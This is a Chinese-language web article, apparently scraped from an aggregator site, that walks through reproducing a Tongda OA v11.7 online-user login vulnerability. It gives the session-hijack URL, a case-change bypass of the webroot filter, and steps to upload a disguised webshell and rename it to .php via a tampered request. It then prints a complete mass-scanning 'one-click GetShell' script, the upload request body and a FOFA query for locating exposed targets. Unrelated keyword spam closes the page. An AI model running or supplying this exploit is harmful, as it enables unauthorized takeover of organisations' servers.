千家信息网

怎么实现通达OA v11.7 在线用户登录漏洞复现

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,怎么实现通达OA v11.7 在线用户登录漏洞复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。通达OA v11.7 在线用户登录漏
千家信息网最后更新 2026年10月31日怎么实现通达OA v11.7 在线用户登录漏洞复现

怎么实现通达OA v11.7 在线用户登录漏洞复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

通达OA v11.7 在线用户登录漏洞复现

一个类似于越权的漏洞,但是利用的方式确实比较特殊

访问漏洞页面获取phpsession

http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

可以看到我们已经获取到了phpsession,这个时候我们就可以访问他的后台页面了,但是如果页面显示RELOGIN说明存在漏洞但是管理员现在不在线,所以需要等他在线。

访问后台页面:

http://x.x.x.x/general/

查看本地的绝对路径

新建一个附件目录

这里需要注意:我们要添加一个路径为系统目录后面跟上webroot,但是webroot会被过滤,但是他没有检查大小写,所以我们改为Webroot就可以轻松绕过。

添加图片目录

这里唯一需要注意的是我们需要将发布范围里添加一个系统管理员,这样子才可以,路径的话呢还是webroot那个路径。

上传木马

然后我们添加一个文件,也就是我们的shell

这里需要注意的是,我们需要将我们的木马改为jpg后缀的,要不路径无法查看。

查看木马路径

这个时候记住这个文件名称,这个路径是固定的就是file_folder/2013下面就是我们的木马。

修改木马后缀

回到我们之前的上传页面,然后点击编辑。

鼠标放到我们木马上面,然后点击重命名。

我们会打开一个新的tab页面,我们使用火狐进行抓包:

先随便改个名字,点击保存,然后会拦截到一个post封包。

数据包格式大概是这个样子:

NEW_FILE_NAME=166&CONTENT_ID=118&FILE_SORT=2&ATTACHMENT_ID=2925%402103_1578257970&ATTACHMENT_NAME_POSTFIX=jpg&ATTACHMENT_NAME=2.jpg&FIRST_ATTACHMENT_NAME=2&FILE_NAME_OLD=2.jpg

这个时候我们就需要修改ATTACHMENT_NAME_POSTFIX属性为php.(注意后面有个.)

然后重放这个数据包,就可以看到修改成功。

拼接木马路径

可以看到我们修改成功。

然后找到之前的文件名,然后将我们上传的原始的文件名(2.jpg)改为(166.php),这个是根据你上传的路径以及改的名称来定的,然后路径的话呢还是file_folder/2013,我们就可以访问到我们的马子了。

一键GetShell脚本

脚本代码:

#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0#define yinhao = "#define Rootre = (.*?)#define contentidre = "TableLine1" index="(.*?)" >#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"#define shellpathre = alt="(.*?)" node-image-tipsfunction GetCookie(url){        res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");        if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){                return "";        }        PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");        return PHPSESSID;}function JudgeOK(url,Cookie){        res = HttpGet(url."/general/",Cookie);        if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){                return "0";        }else{                return "1";        }}function GetRoot(content){        list = StrRe(content,Rootre);        num = GetArrayNum(list);        num = num/2;        i = 0;        while(i= 2){                return list[1];        }        return "";}function GetATTACHMENTID(url,CONTENTID,Cookie){        res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0");        list = StrRe(res[0],attachmentidre);        if(GetArrayNum(list) >= 2){                return list[1];        }        return "";}function GetShell(url){        PHPSESSID = GetCookie(url);        if(PHPSESSID == ""){                return "";        }        Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0";        if(JudgeOK(url,Cookie)=="1"){                WebRoot = GetWebRoot(url,Cookie);                AddPath(url,WebRoot,Cookie);                AddImgPath(url,WebRoot,Cookie);                ShellPost = ReadFile("script\综合漏洞\OAShell.txt");                PushImg(url,ShellPost,Cookie);                path = GetImg(url,WebRoot,Cookie);                CONTENTID = GetCONTENTID(url,Cookie);                ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie);                ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie);                realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php");                print("Shell路径:",realshellpath,"密码:test");        }else{                return "";        }}function main(args){        print("请输入要要检测的列表文件:");               list = StrSplit(ReadFile(input()),StrRN());        i = 0;        num = GetArrayNum(list);        while(i < num){                url=list[ToInt(i)];                print("当前检测的连接:".url);                GetShell(url);                i=i+1;        }        print("检测完毕");}

OAShell.txt:

-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="SUBJECT"166.jpg-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="CONTENT_NO"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="KEYWORD"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="NEW_NAME"н¨Îĵµ-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="NEW_TYPE"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_1"; filename=""Content-Type: application/octet-stream-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACH_NAME"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACH_DIR"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="DISK_ID"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_1000"; filename=""Content-Type: application/octet-stream-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_DESC"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="CONTENT_ID"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="OP"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="PD"1-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="SORT_ID"0-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="FILE_SORT"2-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="USE_CAPACITY"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="USE_CAPACITY_SIZE"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="SHARE_USER"-----------------------------33072116513621237124579432636Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg"Content-Type: image/jpeg-----------------------------33072116513621237124579432636--

放一张例子截图:

附一个fofa语句:

app="TDXK-通达OA"

关于怎么实现通达OA v11.7 在线用户登录漏洞复现问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

路径 漏洞 木马 页面 在线 文件 通达 用户 登录 时候 目录 问题 检测 成功 名称 后台 后缀 就是 数据 文件名 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中国互联网科技工作委员会毛军 国智互联网科技 没上市的科技互联网公司 上海互联网科技有限公司 互联网科技公司官网 互联网 科技馆 湖南洣水互联网科技有限公司扣款 成都铂石互联网科技做什么的 互联网和黑科技的看法 重庆互联网医院沙龙医盟信息科技 浙江互联网科技研学营 恒生互联网科技指数跳水 本届互联网博览会上的黑科技 中和天地互联网科技有限公司 互联网公司高科技产品 新氧科技和美国互联网有关系吗 互联网领先科技活动 玉溪新华互联网科技怎么选 互联网科技创新创业项目 互联网金融金融科技 互联网加科技 互联网科技工作委员会毛军 互联网科技金融公司 凡科互联网科技 奇士达互联网科技 赫美联合互联网科技 齐家互联网科技有限公司 互联网科技公司介绍 国大互联网教育科技有限公司工作 银川新华互联网科技学校原画
0